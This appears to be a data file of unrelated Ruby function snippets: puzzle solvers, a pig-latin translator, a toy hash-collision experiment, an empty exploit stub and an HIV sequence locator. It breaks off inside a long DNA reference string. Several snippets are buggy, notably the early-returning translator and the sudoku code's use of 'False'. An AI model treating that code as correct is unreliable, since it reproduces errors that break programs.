"def translate(a)\n\tvoyel = [\"a\",\"e\",\"i\",\"o\",\"u\"]\ncheck = 0\nn = 0\nx = a \n words = a.split(/\\W+/)\n words.each do |a|\n\tok = voyel.include?(a[0])\n\tif ok == true \n\t\ta = a + \"ay\"\n\t\treturn a \n\tend\n while check <= 4\n\tb = a.slice(0..check)\n\n\tcheck = check + 1\n \n\tok = voyel.include?(x[check])\n\ttest1 = \"qu\".include?(x[check])\n\tif test1 == true \n\t\tif check == 1\n\t\t\tb = a.slice(0..check)\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[2..-1]\n\t elsif check == 2\n\t \tb = a.slice(1..check)\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[4..-1]\n\t end\n\tend\n\n\tif ok == true \n\t\tif check == 1\n\t\t\ta = a + b + \"ay\"\n\t\treturn a[1..-1]\n\t elsif check == 2\n\t \t\ta = a + b + \"ay\"\n\t \treturn a[2..-1]\n\t elsif check == 3 \n\t \t\ta = a + b + \"ay\"\n\t \treturn a[3..-1]\n\t end\n\tend\nend\nend\nend",
"def problem_104\n all = [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n k = 2\n low_fn0,low_fn1 = 1,1\n hi_fn0,hi_fn1 = 1,1\n loop do\n k += 1\n low_fn0,low_fn1 =(low_fn0 + low_fn1) % 10_000_000_000, low_fn0\n hi_fn0, hi_fn1 = hi_fn0 + hi_fn1, hi_fn0\n if hi_fn0 > 1_000_000_000_000_000_000\n hi_fn0 /= 10\n hi_fn1 /= 10\n end\n front = false\n next unless k > 300\n hi = hi_fn0.to_s[0,9].split(//)\n if (hi & all).length == 9\n puts \"front #{k}\" \n front = true\n end\n if (low = low_fn0.to_s).length >= 9\n low = low[-9,9].split(//)\n if (low & all).length == 9\n puts \"back #{k}\" \n return k if front\n end\n end\n end\nend",
"def solve\n # Read lines and split into start-end pairs.\n pairs = []\n IO.read( 'resources/0079_keylog.txt' ).split.uniq.each do |line|\n pairs << line[0, 2] << line[1, 2] << line[0] + line[2]\n end\n\n # Delete duplicates and compute weight based on start character frequency.\n pairs.uniq!\n weight = (0..9).map {|i| pairs.count {|p| p[0].to_i == i}}\n\n # Order pairs according to most popular starting character, since we want\n # to maximize how many numbers appear after each one.\n pairs.sort_by! {|p| 10 * weight[p[0].to_i] + weight[p[1].to_i]}\n\n # Concatenate characters as long as they haven't been seen before. This\n # is not a general-purpose solution, but the problem (as stated) is not\n # exceptionally challenging.\n pwd = []\n pairs.reverse.each do |p|\n pwd << p[0] unless pwd.include?( p[0] )\n pwd << p[1] unless pwd.include?( p[1] )\n end\n\n pwd.join.to_i\n end",
"def solve_zero_vs_six_vs_nine\n return if @arr[1].nil? || @arr[4].nil?\n\n #p \"1,4: #{@arr[1]},#{@arr[4]}\"\n\n @words.filter{|x| x.length == 6 && @hash[x].nil?}.each{|w|\n if @arr[4].chars.all?{|c| w.chars.include?(c)}\n solved(9, w)\n elsif @arr[1].chars.all?{|c2| w.chars.include?(c2)}\n solved(0, w)\n else\n solved(6, w)\n end\n }\n end",
"def collision_attack(bit_size, set_index = 0)\n # randomize the set of preimages to make each trial different\n digests = Array.new(SHUFFLED_RAND_STRINGS[set_index].size)\n found = false\n used_digests=0\n # for every new digest computed, compare it against the list of known digests to find a match\n SHUFFLED_RAND_STRINGS[set_index].each_with_index do |rstring1, index1|\n digests[index1] = create_digest(rstring1, bit_size)\n used_digests += 1\n # the '-1' prevents the digest from being compared with itself\n (index1-1).times.each do |index2|\n if digests[index1] == digests[index2] then\n found = true\n break\n end\n end\n break if found\n end\n raise \"no collision found\" if !found\n used_digests\nend",
"def brute_exploit(addrs)\n end",
"def deduce\n while true\n stuck, guess, count = true, nil, 0\n # fill in any spots determined by direct conflicts\n allowed = board.allowed_numbers\n (0..80).each do |index|\n if board.board[index].nil?\n numbers = bits_to_numbers(allowed[index])\n if numbers.size == 0\n return [] # Return nothing if no possibilitie E\n elsif numbers.size == 1\n board.board[index] = numbers[0]\n stuck = false\n break\n elsif stuck\n new_guesses = numbers.map { |n| [index, n] }\n guess, count = pickbetter(guess, count, new_guesses)\n end\n end\n end\n\n if !stuck\n allowed = board.allowed_numbers\n end\n needed = board.needed_numbers\n\n # fill in any spots determined by elimination of other locations.\n # For any given column, find which numbers it is missing,\n # And figure out which positions allow those numbers - if only\n # one position allows it, the number goes there.\n #\n # If more than one spot is available, add to the guesses.\n board.coordinate_systems.each do |axis|\n (0..8).each do |x|\n numbers = bits_to_numbers(needed[axis_index(x, axis)])\n numbers.each do |n|\n bit = 1 << n\n # spots =for this number & col, all positions that allow the needed\n # numbers\n spots = []\n\n (0..8).each do |y|\n index = board.index_for(x, y, axis)\n # if this position allows the needed number, add it to spots\n if allowed[index] & bit\n spots << index\n end\n end\n\n if spots.length == 0\n return []\n elsif spots.length == 1\n board.board[spots[0]] = n\n stuck = False\n break\n elsif stuck\n new_guesses = spots.map { |index| [index, n] }\n guess, count = pickbetter(guess, count, new_guesses)\n end\n end\n end\n end\n\n if stuck\n guess.shuffle! unless guess.nil?\n return guess\n end\n end\n end",
"def NL43_locator(seq=\"\",temp_dir=File.dirname($0))\n hxb2_ref = \"TGGAAGGGCTAATTTGGTCCCAAAAAAGACAAGAGATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGATCAGATATCCACTGACCTTTGGATGGTGCTTCAAGTTAGTACCAGTTGAACCAGAGCAAGTAGAAGAGGCCAAATAAGGAGAGAAGAACAGCTTGTTACACCCTATGAGCCAGCATGGGATGGAGGACCCGGAGGGAGAAGTATTAGTGTGGAAGTTTGACAGCCTCCTAGCATTTCGTCACATGGCCCGAGAGCTGCATCCGGAGTACTACAAAGACTGCTGACATCGAGCTTTCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGTGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTACATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTCAAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCAGTGGCGCCCGAACAGGGACTTGAAAGCGAAAGTAAAGCCAGAGGAGATCTCTCGACGCAGGACTCGGCTTGCTGAAGCGCGCACGGCAAGAGGCGAGGGGCGGCGACTGGTGAGTACGCCAAAAATTTTGACTAGCGGAGGCTAGAAGGAGAGAGATGGGTGCGAGAGCGTCGGTATTAAGCGGGGGAGAATTAGATAAATGGGAAAAAATTCGGTTAAGGCCAGGGGGAAAGAAACAATATAAACTAAAACATATAGTATGGGCAAGCAGGGAGCTAGAACGATTCGCAGTTAATCCTGGCCTTTTAGAGACATCAGAAGGCTGTAGACAAATACTGGGACAGCTACAACCATCCCTTCAGACAGGATCAGAAGAACTTAGATCATTATATAATACAATAGCAGTCCTCTATTGTGTGCATCAAAGGATAGATGTAAAAGACACCAAGGAAGCCTTAGATAAGATAGAGGAAGAGCAAAACAAAAGTAAGAAAAAGGCACAGCAAGCAGCAGCTGACACAGGAAACAACAGCCAGGTCAGCCAAAATTACCCTATAGTGCAGAACCTCCAGGGGCAAATGGTACATCAGGCCATATCACCTAGAACTTTAAATGCATGGGTAAAAGTAGTAGAAGAGAAGGCTTTCAGCCCAGAAGTAATACCCATGTTTTCAGCATTATCAGAAGGAGCCACCCCACAAGATTTAAATACCATGCTAAACACAGTGGGGGGACATCAAGCAGCCATGCAAATGTTAAAAGAGACCATCAATGAGGAAGCTGCAGAATGGGATAGATTGCATCCAGTGCATGCAGGGCCTATTGCACCAGGCCAGATGAGAGAACCAAGGGGAAGTGACATAGCAGGAACTACTAGTACCCTTCAGGAACAAATAGGATGGATGACACATAATCCACCTATCCCAGTAGGAGAAATCTATAAAAGATGGATAATCCTGGGATTAAATAAAATAGTAAGAATGTATAGCCCTACCAGCATTCTGGACATAAGACAAGGACCAAAGGAACCCTTTAGAGACTATGTAGACCGATTCTATAAAACTCTAAGAGCCGAGCAAGCTTCACAAGAGGTAAAAAATTGGATGACAGAAACCTTGTTGGTCCAAAATGCGAACCCAGATTGTAAGACTATTTTAAAAGCATTGGGACCAGGAGCGACACTAGAAGAAATGATGACAGCATGTCAGGGAGTGGGGGGACCCGGCCATAAAGCAAGAGTTTTGGCTGAAGCAATGAGCCAAGTAACAAATCCAGCTACCATAATGATACAGAAAGGCAATTTTAGGAACCAAAGAAAGACTGTTAAGTGTTTCAATTGTGGCAAAGAAGGGCACATAGCCAAAAATTGCAGGGCCCCTAGGAAAAAGGGCTGTTGGAAATGTGGAAAGGAAGGACACCAAATGAAAGATTGTACTGAGAGACAGGCTAATTTTTTAGGGAAGATCTGGCCTTCCCACAAGGGAAGGCCAGGGAATTTTCTTCAGAGCAGACCAGAGCCAACAGCCCCACCAGAAGAGAGCTTCAGGTTTGGGGAAGAGACAACAACTCCCTCTCAGAAGCAGGAGCCGATAGACAAGGAACTGTATCCTTTAGCTTCCCTCAGATCACTCTTTGGCAGCGACCCCTCGTCACAATAAAGATAGGGGGGCAATTAAAGGAAGCTCTATTAGATACAGGAGCAGATGATACAGTATTAGAAGAAATGAATTTGCCAGGAAGATGGAAACCAAAAATGATAGGGGGAATTGGAGGTTTTATCAAAGTAAGACAGTATGATCAGATACTCATAGAAATCTGCGGACATAAAGCTATAGGTACAGTATTAGTAGGACCTACACCTGTCAACATAATTGGAAGAAATCTGTTGACTCAGATTGGCTGCACTTTAAATTTTCCCATTAGTCCTATTGAGACTGTACCAGTAAAATTAAAGCCAGGAATGGATGGCCCAAAAGTTAAACAATGGCCATTGACAGAAGAAAAAATAAAAGCATTAGTAGAAATTTGTACAGAAATGGAAAAGGAAGGAAAAATTTCAAAAATTGGGCCTGAAAATCCATACAATACTCCAGTATTTGCCATAAAGAAAAAAGACAGTACTAAATGGAGAAAATTAGTAGATTTCAGAGAACTTAATAAGAGAACTCAAGATTTCTGGGAAGTTCAATTAGGAATACCACATCCTGCAGGGTTAAAACAGAAAAAATCAGTAACAGTACTGGATGTGGGCGATGCATATTTTTCAGTTCCCTTAGATAAAGACTTCAGGAAGTATACTGCATTTACCATACCTAGTATAAACAATGAGACACCAGGGATTAGATATCAGTACAATGTGCTTCCACAGGGATGGAAAGGATCACCAGCAATATTCCAGTGTAGCATGACAAAAATCTTAGAGCCTTTTAGAAAACAAAATCCAGACATAGTCATCTATCAATACATGGATGATTTGTATGTAGGATCTGACTTAGAAATAGGGCAGCATAGAACAAAAATAGAGGAACTGAGACAACATCTGTTGAGGTGGGGATTTACCACACCAGACAAAAAACATCAGAAAGAACCTCCATTCCTTTGGATGGGTTATGAACTCCATCCTGATAAATGGACAGTACAGCCTATAGTGCTGCCAGAAAAGGACAGCTGGACTGTCAATGACATACAGAAATTAGTGGGAAAATTGAATTGGGCAAGTCAGATTTATGCAGGGATTAAAGTAAGGCAATTATGTAAACTTCTTAGGGGAACCAAAGCACTAACAGAAGTAGTACCACTAACAGAAGAAGCAGAGCTAGAACTGGCAGAAAACAGGGAGATTCTAAAAGAACCGGTACATGGAGTGTATTATGACCCATCAAAAGACTTAATAGCAGAAATACAGAAGCAGGGGCAAGGCCAATGGACATATCAAATTTATCAAGAGCCATTTAAAAATCTGAAAACAGGAAAATATGCAAGAATGAAGGGTGCCCACACTAATGATGTGAAACAATTAACAGAGGCAGTACAAAAAATAGCCACAGAAAGCATAGTAATATGGGGAAAGACTCCTAAATTTAAATTACCCATACAAAAGGAAACATGGGAAGCATGGTGGACAGAGTATTGGCAAGCCACCTGGATTCCTGAGTGGGAGTTTGTCAATACCCCTCCCTTAGTGAAGTTATGGTACCAGTTAGAGAAAGAACCCATAATAGGAGCAGAAACTTTCTATGTAGATGGGGCAGCCAATAGGGAAACTAAATTAGGAAAAGCAGGATATGTAACTGACAGAGGAAGACAAAAAGTTGTCCCCCTAACGGACACAACAAATCAGAAGACTGAGTTACAAGCAATTCATCTAGCTTTGCAGGATTCGGGATTAGAAGTAAACATAGTGACAGACTCACAATATGCATTGGGAATCATTCAAGCACAACCAGATAAGAGTGAATCAGAGTTAGTCAGTCAAATAATAGAGCAGTTAATAAAAAAGGAAAAAGTCTACCTGGCATGGGTACCAGCACACAAAGGAATTGGAGGAAATGAACAAGTAGATGGGTTGGTCAGTGCTGGAATCAGGAAAGTACTATTTTTAGATGGAATAGATAAGGCCCAAGAAGAACATGAGAAATATCACAGTAATTGGAGAGCAATGGCTAGTGATTTTAACCTACCACCTGTAGTAGCAAAAGAAATAGTAGCCAGCTGTGATAAATGTCAGCTAAAAGGGGAAGCCATGCATGGACAAGTAGACTGTAGCCCAGGAATATGGCAGCTAGATTGTACACATTTAGAAGGAAAAGTTATCTTGGTAGCAGTTCATGTAGCCAGTGGATATATAGAAGCAGAAGTAATTCCAGCAGAGACAGGGCAAGAAACAGCATACTTCCTCTTAAAATTAGCAGGAAGATGGCCAGTAAAAACAGTACATACAGACAATGGCAGCAATTTCACCAGTACTACAGTTAAGGCCGCCTGTTGGTGGGCGGGGATCAAGCAGGAATTTGGCATTCCCTACAATCCCCAAAGTCAAGGAGTAATAGAATCTATGAATAAAGAATTAAAGAAAATTATAGGACAGGTAAGAGATCAGGCTGAACATCTTAAGACAGCAGTACAAATGGCAGTATTCATCCACAATTTTAAAAGAAAAGGGGGGATTGGGGGGTACAGTGCAGGGGAAAGAATAGTAGACATAATAGCAACAGACATACAAACTAAAGAATTACAAAAACAAATTACAAAAATTCAAAATTTTCGGGTTTATTACAGGGACAGCAGAGATCCAGTTTGGAAAGGACCAGCAAAGCTCCTCTGGAAAGGTGAAGGGGCAGTAGTAATACAAGATAATAGTGACATAAAAGTAGTGCCAAGAAGAAAAGCAAAGATCATCAGGGATTATGGAAAACAGATGGCAGGTGATGATTGTGTGGCAAGTAGACAGGATGAGGATTAACACATGGAAAAGATTAGTAAAACACCATATGTATATTTCAAGGAAAGCTAAGGACTGGTTTTATAGACATCACTATGAAAGTACTAATCCAAAAATAAGTTCAGAAGTACACATCCCACTAGGGGATGCTAAATTAGTAATAACAACATATTGGGGTCTGCATACAGGAGAAAGAGACTGGCATTTGGGTCAGGGAGTCTCCATAGAATGGAGGAAAAAGAGATATAGCACACAAGTAGACCCTGACCTAGCAGACCAACTAATTCATCTGCACTATTTTGATTGTTTTTCAGAATCTGCTATAAGAAATACCATATTAGGACGTATAGTTAGTCCTAGGTGTGAATATCAAGCAGGACATAACAAGGTAGGATCTCTACAGTACTTGGCACTAGCAGCATTAATAAAACCAAAACAGATAAAGCCACCTTTGCCTAGTGTTAGGAAACTGACAGAGGACAGATGGAACAAGCCCCAGAAGACCAAGGGCCACAGAGGGAGCCATACAATGAATGGACACTAGAGCTTTTAGAGGAACTTAAGAGTGAAGCTGTTAGACATTTTCCTAGGATATGGCTCCATAACTTAGGACAACATATCTATGAAACTTACGGGGATACTTGGGCAGGAGTGGAAGCCATAATAAGAATTCTGCAACAACTGCTGTTTATCCATTTCAGAATTGGGTGTCGACATAGCAGAATAGGCGTTACTCGACAGAGGAGAGCAAGAAATGGAGCCAGTAGATCCTAGACTAGAGCCCTGGAAGCATCCAGGAAGTCAGCCTAAAACTGCTTGTACCAATTGCTATTGTAAAAAGTGTTGCTTTCATTGCCAAGTTTGTTTCATGACAAAAGCCTTAGGCATCTCCTATGGCAGGAAGAAGCGGAGACAGCGACGAAGAGCTCATCAGAACAGTCAGACTCATCAAGCTTCTCTATCAAAGCAGTAAGTAGTACATGTAATGCAACCTATAATAGTAGCAATAGTAGCATTAGTAGTAGCAATAATAATAGCAATAGTTGTGTGGTCCATAGTAATCATAGAATATAGGAAAATATTAAGACAAAGAAAAATAGACAGGTTAATTGATAGACTAATAGAAAGAGCAGAAGACAGTGGCAATGAGAGTGAAGGAGAAGTATCAGCACTTGTGGAGATGGGGGTGGAAATGGGGCACCATGCTCCTTGGGATATTGATGATCTGTAGTGCTACAGAAAAATTGTGGGTCACAGTCTATTATGGGGTACCTGTGTGGAAGGAAGCAACCACCACTCTATTTTGTGCATCAGATGCTAAAGCATATGATACAGAGGTACATAATGTTTGGGCCACACATGCCTGTGTACCCACAGACCCCAACCCACAAGAAGTAGTATTGGTAAATGTGACAGAAAATTTTAACATGTGGAAAAATGACATGGTAGAACAGATGCATGAGGATATAATCAGTTTATGGGATCAAAGCCTAAAGCCATGTGTAAAATTAACCCCACTCTGTGTTAGTTTAAAGTGCACTGATTTGAAGAATGATACTAATACCAATAGTAGTAGCGGGAGAATGATAATGGAGAAAGGAGAGATAAAAAACTGCTCTTTCAATATCAGCACAAGCATAAGAGATAAGGTGCAGAAAGAATATGCATTCTTTTATAAACTTGATATAGTACCAATAGATAATACCAGCTATAGGTTGATAAGTTGTAACACCTCAGTCATTACACAGGCCTGTCCAAAGGTATCCTTTGAGCCAATTCCCATACATTATTGTGCCCCGGCTGGTTTTGCGATTCTAAAATGTAATAATAAGACGTTCAATGGAACAGGACCATGTACAAATGTCAGCACAGTACAATGTACACATGGAATCAGGCCAGTAGTATCAACTCAACTGCTGTTAAATGGCAGTCTAGCAGAAGAAGATGTAGTAATTAGATCTGCCAATTTCACAGACAATGCTAAAACCATAATAGTACAGCTGAACACATCTGTAGAAATTAATTGTACAAGACCCAACAACAATACAAGAAAAAGTATCCGTATCCAGAGGGGACCAGGGAGAGCATTTGTTACAATAGGAAAAATAGGAAATATGAGACAAGCACATTGTAACATTAGTAGAGCAAAATGGAATGCCACTTTAAAACAGATAGCTAGCAAATTAAGAGAACAATTTGGAAATAATAAAACAATAATCTTTAAGCAATCCTCAGGAGGGGACCCAGAAATTGTAACGCACAGTTTTAATTGTGGAGGGGAATTTTTCTACTGTAATTCAACACAACTGTTTAATAGTACTTGGTTTAATAGTACTTGGAGTACTGAAGGGTCAAATAACACTGAAGGAAGTGACACAATCACACTCCCATGCAGAATAAAACAATTTATAAACATGTGGCAGGAAGTAGGAAAAGCAATGTATGCCCCTCCCATCAGTGGACAAATTAGATGTTCATCAAATATTACTGGGCTGCTATTAACAAGAGATGGTGGTAATAACAACAATGGGTCCGAGATCTTCAGACCTGGAGGAGGCGATATGAGGGACAATTGGAGAAGTGAATTATATAAATATAAAGTAGTAAAAATTGAACCATTAGGAGTAGCACCCACCAAGGCAAAGAGAAGAGTGGTGCAGAGAGAAAAAAGAGCAGTGGGAATAGGAGCTTTGTTCCTTGGGTTCTTGGGAGCAGCAGGAAGCACTATGGGCTGCACGTCAATGACGCTGACGGTACAGGCCAGACAATTATTGTCTGATATAGTGCAGCAGCAGAACAATTTGCTGAGGGCTATTGAGGCGCAACAGCATCTGTTGCAACTCACAGTCTGGGGCATCAAACAGCTCCAGGCAAGAATCCTGGCTGTGGAAAGATACCTAAAGGATCAACAGCTCCTGGGGATTTGGGGTTGCTCTGGAAAACTCATTTGCACCACTGCTGTGCCTTGGAATGCTAGTTGGAGTAATAAATCTCTGGAACAGATTTGGAATAACATGACCTGGATGGAGTGGGACAGAGAAATTAACAATTACACAAGCTTAATACACTCCTTAATTGAAGAATCGCAAAACCAGCAAGAAAAGAATGAACAAGAATTATTGGAATTAGATAAATGGGCAAGTTTGTGGAATTGGTTTAACATAACAAATTGGCTGTGGTATATAAAATTATTCATAATGATAGTAGGAGGCTTGGTAGGTTTAAGAATAGTTTTTGCTGTACTTTCTATAGTGAATAGAGTTAGGCAGGGATATTCACCATTATCGTTTCAGACCCACCTCCCAATCCCGAGGGGACCCGACAGGCCCGAAGGAATAGAAGAAGAAGGTGGAGAGAGAGACAGAGACAGATCCATTCGATTAGTGAACGGATCCTTAGCACTTATCTGGGACGATCTGCGGAGCCTGTGCCTCTTCAGCTACCACCGCTTGAGAGACTTACTCTTGATTGTAACGAGGATTGTGGAACTTCTGGGACGCAGGGGGTGGGAAGCCCTCAAATATTGGTGGAATCTCCTACAGTATTGGAGTCAGGAACTAAAGAATAGTGCTGTTAACTTGCTCAATGCCACAGCCATAGCAGTAGCTGAGGGGACAGATAGGGTTATAGAAGTATTACAAGCAGCTTATAGAGCTATTCGCCACATACCTAGAAGAATAAGACAGGGCTTGGAAAGGATTTTGCTATAAGATGGGTGGCAAGTGGTCAAAAAGTAGTGTGATTGGATGGCCTGCTGTAAGGGAAAGAATGAGACGAGCTGAGCCAGCAGCAGATGGGGTGGGAGCAGTATCTCGAGACCTAGAAAAACATGGAGCAATCACAAGTAGCAATACAGCAGCTAACAATGCTGCTTGTGCCTGGCTAGAAGCACAAGAGGAGGAAGAGGTGGGTTTTCCAGTCACACCTCAGGTACCTTTAAGACCAATGACTTACAAGGCAGCTGTAGATCTTAGCCACTTTTTAAAAGAAAAGGGGGGACTGGAAGGGCTAATTCACTCCCAAAGAAGACAAGATATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGGTCAGATATCCACTGACCTTTGGATGGTGCTACAAGCTAGTACCAGTTGAGCCAGATAAGGTAGAAGAGGCCAATAAAGGAGAGAACACCAGCTTGTTACACCCTGTGAGCCTGCATGGAATGGATGACCCTGAGAGAGAAGTGTTAGAGTGGAGGTTTGACAGCCGCCTAGCATTTCATCACGTGGCCCGAGAGCTGCATCCGGAGTACTTCAAGAACTGCTGACATCGAGCTTGCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGCGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTGCATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTTCAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCACCCAGGAGGTAGAGGTTGCAGTGAGCCAAGATCGCGCCACTGCATTCCAGCCTGGGCAAGAAAACAAGACTGTCTAAAATAATAATAATAAGTTAAGGGTATTAAATATATTTATACATGGAGGTCATAAAAATATATATATTTGGGCTGGGCGCAGTGGCTCACACCTGCGCCCGGCCCTTTGGGAGGCCGAGGCAGGTGGATCACCTGAGTTTGGGAGTTCCAGACCAGCCTGACCAACATGGAGAAACCCCTTCTCTGTGTATTTTTAGTAGATTTTATTTTATGTGTATTTTATTCACAGGTATTTCTGGAAAACTGAAACTGTTTTTCCTCTACTCTGATACCACAAGAATCATCAGCACAGAGGAAGACTTCTGTGATCAAATGTGGTGGGAGAGGGAGGTTTTCACCAGCACATGAGCAGTCAGTTCTGCCGCAGACTCGGCGGGTGTCCTTCGGTTCAGTTCCAACACCGCCTGCCTGGAGAGAGGTCAGACCACAGGGTGAGGGCTCAGTCCCCAAGACATAAACACCCAAGACATAAACACCCAACAGGTCCACCCCGCCTGCTGCCCAGGCAGAGCCGATTCACCAAGACGGGAATTAGGATAGAGAAAGAGTAAGTCACACAGAGCCGGCTGTGCGGGAGAACGGAGTTCTATTATGACTCAAATCAGTCTCCCCAAGCATTCGGGGATCAGAGTTTTTAAGGATAACTTAGTGTGTAGGGGGCCAGTGAGTTGGAGATGAAAGCGTAGGGAGTCGAAGGTGTCCTTTTGCGCCGAGTCAGTTCCTGGGTGGGGGCCACAAGATCGGATGAGCCAGTTTATCAATCCGGGGGTGCCAGCTGATCCATGGAGTGCAGGGTCTGCAAAATATCTCAAGCACTGATTGATCTTAGGTTTTACAATAGTGATGTTACCCCAGGAACAATTTGGGGAAGGTCAGAATCTTGTAGCCTGTAGCTGCATGACTCCTAAACCATAATTTCTTTTTTGTTTTTTTTTTTTTATTTTTGAGACAGGGTCTCACTCTGTCACCTAGGCTGGAGTGCAGTGGTGCAATCACAGCTCACTGCAGCCTCAACGTCGTAAGCTCAAGCGATCCTCCCACCTCAGCCTGCCTGGTAGCTGAGACTACAAGCGACGCCCCAGTTAATTTTTGTATTTTTGGTAGAGGCAGCGTTTTGCCGTGTGGCCCTGGCTGGTCTCGAACTCCTGGGCTCAAGTGATCCAGCCTCAGCCTCCCAAAGTGCTGGGACAACCGGGCCCAGTCACTGCACCTGGCCCTAAACCATAATTTCTAATCTTTTGGCTAATTTGTTAGTCCTACAAAGGCAGTCTAGTCCCCAGCAAAAAGGGGGTTTGTTTCGGGAAAGGGCTGTTACTGTCTTTGTTTCAAACTATAAACTAAGTTCCTCCTAAACTTAGTTCGGCCTACACCCAGGAATGAACAAGGAGAGCTTGGAGGTTAGAAGCACGATGGAATTGGTTAGGTCAGATCTCTTTCACTGTCTGAGTTATAATTTTGCAATGGTGGTTCAAAGACTGCCCGCTTCTGACACCAGTCGCTGCATTAATGAATCGGCCAACGCGCGGGGAGAGGCGGTTTGCGTATTGGGCGCTCTTCCGCTTCCTCGCTCACTGACTCGCTGCGCTCGGTCGTTCGGCTGCGGCGAGCGGTATCAGCTCACTCAAAGGCGGTAATACGGTTATCCACAGAATCAGGGGATAACGCAGGAAAGAACATGTGAGCAAAAGGCCAGCAAAAGGCCAGGAACCGTAAAAAGGCCGCGTTGCTGGCGTTTTTCCATAGGCTCCGCCCCCCTGACGAGCATCACAAAAATCGACGCTCAAGTCAGAGGTGGCGAAACCCGACAGGACTATAAAGATACCAGGCGTTTCCCCCTGGAAGCTCCCTCGTGCGCTCTCCTGTTCCGACCCTGCCGCTTACCGGATACCTGTCCGCCTTTCTCCCTTCGGGAAGCGTGGCGCTTTCTCATAGCTCACGCTGTAGGTATCTCAGTTCGGTGTAGGTCGTTCGCTCCAAGCTGGGCTGTGTGCACGAACCCCCCGTTCAGCCCGACCGCTGCGCCTTATCCGGTAACTATCGTCTTGAGTCCAACCCGGTAAGACACGACTTATCGCCACTGGCAGCAGCCACTGGTAACAGGATTAGCAGAGCGAGGTATGTAGGCGGTGCTACAGAGTTCTTGAAGTGGTGGCCTAACTACGGCTACACTAGAAGGACAGTATTTGGTATCTGCGCTCTGCTGAAGCCAGTTACCTTCGGAAAAAGAGTTGGTAGCTCTTGATCCGGCAAACAAACCACCGCTGGTAGCGGTGGTTTTTTTGTTTGCAAGCAGCAGATTACGCGCAGAAAAAAAGGATCTCAAGAAGATCCTTTGATCTTTTCTACGGGGTCTGACGCTCAGTGGAACGAAAACTCACGTTAAGGGATTTTGGTCATGAGATTATCAAAAAGGATCTTCACCTAGATCCTTTTAAATTAAAAATGAAGTTTTAAATCAATCTAAAGTATATATGAGTAAACTTGGTCTGACAGTTACCAATGCTTAATCAGTGAGGCACCTATCTCAGCGATCTGTCTATTTCGTTCATCCATAGTTGCCTGACTCCCCGTCGTGTAGATAACTACGATACGGGAGGGCTTACCATCTGGCCCCAGTGCTGCAATGATACCGCGAGACCCACGCTCACCGGCTCCAGATTTATCAGCAATAAACCAGCCAGCCGGAAGGGCCGAGCGCAGAAGTGGTCCTGCAACTTTATCCGCCTCCATCCAGTCTATTAATTGTTGCCGGGAAGCTAGAGTAAGTAGTTCGCCAGTTAATAGTTTGCGCAACGTTGTTGCCATTGCTACAGGCATCGTGGTGTCACGCTCGTCGTTTGGTATGGCTTCATTCAGCTCCGGTTCCCAACGATCAAGGCGAGTTACATGATCCCCCATGTTGTGCAAAAAAGCGGTTAGCTCCTTCGGTCCTCCGATCGTTGTCAGAAGTAAGTTGGCCGCAGTGTTATCACTCATGGTTATGGCAGCACTGCATAATTCTCTTACTGTCATGCCATCCGTAAGATGCTTTTCTGTGACTGGTGAGTACTCAACCAAGTCATTCTGAGAATAGTGTATGCGGCGACCGAGTTGCTCTTGCCCGGCGTCAATACGGGATAATACCGCGCCACATAGCAGAACTTTAAAAGTGCTCATCATTGGAAAACGTTCTTCGGGGCGAAAACTCTCAAGGATCTTACCGCTGTTGAGATCCAGTTCGATGTAACCCACTCGTGCACCCAACTGATCTTCAGCATCTTTTACTTTCACCAGCGTTTCTGGGTGAGCAAAAACAGGAAGGCAAAATGCCGCAAAAAAGGGAATAAGGGCGACACGGAAATGTTGAATACTCATACTCTTCCTTTTTCAATATTATTGAAGCATTTATCAGGGTTATTGTCTCATGAGCGGATACATATTTGAATGTATTTAGAAAAATAAACAAATAGGGGTTCCGCGCACATTTCCCCGAAAAGTGCCACCTGACGTCTAAGAAACCATTATTATCATGACATTAACCTATAAAAATAGGCGTATCACGAGGCCCTTTCGTCTCGCGCGTTTCGGTGATGACGGTGAAAACCTCTGACACATGCAGCTCCCGGAGACGGTCACAGCTTGTCTGTAAGCGGATGCCGGGAGCAGACAAGCCCGTCAGGGCGCGTCAGCGGGTGTTGGCGGGTGTCGGGGCTGGCTTAACTATGCGGCATCAGAGCAGATTGTACTGAGAGTGCACCATATGCGGTGTGAAATACCGCACAGATGCGTAAGGAGAAAATACCGCATCAGGCGCCATTCGCCATTCAGGCTGCGCAACTGTTGGGAAGGGCGATCGGTGCGGGCCTCTTCGCTATTACGCCAGGGGAGGCAGAGATTGCAGTAAGCTGAGATCGCAGCACTGCACTCCAGCCTGGGCGACAGAGTAAGACTCTGTCTCAAAAATAAAATAAATAAATCAATCAGATATTCCAATCTTTTCCTTTATTTATTTATTTATTTTCTATTTTGGAAACACAGTCCTTCCTTATTCCAGAATTACACATATATTCTATTTTTCTTTATATGCTCCAGTTTTTTTTAGACCTTCACCTGAAATGTGTGTATACAAAATCTAGGCCAGTCCAGCAGAGCCTAAAGGTAAAAAATAAAATAATAAAAAATAAATAAAATCTAGCTCACTCCTTCACATCAAAATGGAGATACAGCTGTTAGCATTAAATACCAAATAACCCATCTTGTCCTCAATAATTTTAAGCGCCTCTCTCCACCACATCTAACTCCTGTCAAAGGCATGTGCCCCTTCC